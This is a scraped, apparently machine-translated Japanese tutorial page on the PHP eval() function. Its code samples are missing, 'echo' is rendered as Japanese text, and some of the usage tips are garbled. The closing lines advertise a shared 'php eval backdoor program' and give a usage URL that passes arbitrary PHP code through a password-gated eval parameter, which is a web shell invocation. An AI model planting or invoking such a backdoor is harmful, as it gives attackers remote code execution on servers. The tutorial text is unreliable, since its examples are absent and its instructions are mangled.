ホームページ >バックエンド開発 >PHPチュートリアル >PHP eval 関数の使い方の概要_PHP チュートリアル
コード:
上記のコードは以下のコードと同等です:
エコー「ハローワールド」;
ブラウザでの出力: hello world
eval() を使用する際の注意点:
1. eval 関数のパラメータ文字列の末尾にはセミコロンが必要であり、最後に別のセミコロンを追加する必要があります (このセミコロンは PHP の制限です)
2. 一重引用符、二重引用符、バックスラッシュの使用に注意してください。パラメータに変数があり、その変数に代入演算がある場合は、変数の前の $ 記号をエスケープする必要があります。代入操作がない場合は必要ありません。
コード:
代入演算がないため、$をエスケープする必要はありません。これは次のコードと同等です。
3. 命令文字列 (セミコロンを含む) の両側に二重引用符が必要であるか、必要に応じて一重引用符を使用する必要があることに注意してください。それ以外の場合は、エラーが報告されます。
命令型文字列とは、文字列に echo や print などのコマンドが含まれる場合を指します。
パラメータに変数が 1 つだけある場合は省略できます。例:
php eval バックドア プログラムを共有します
eval関数のサポートに必要
使用方法
http://url/test.php?pwd=admin&action=eval&a=phpinfo();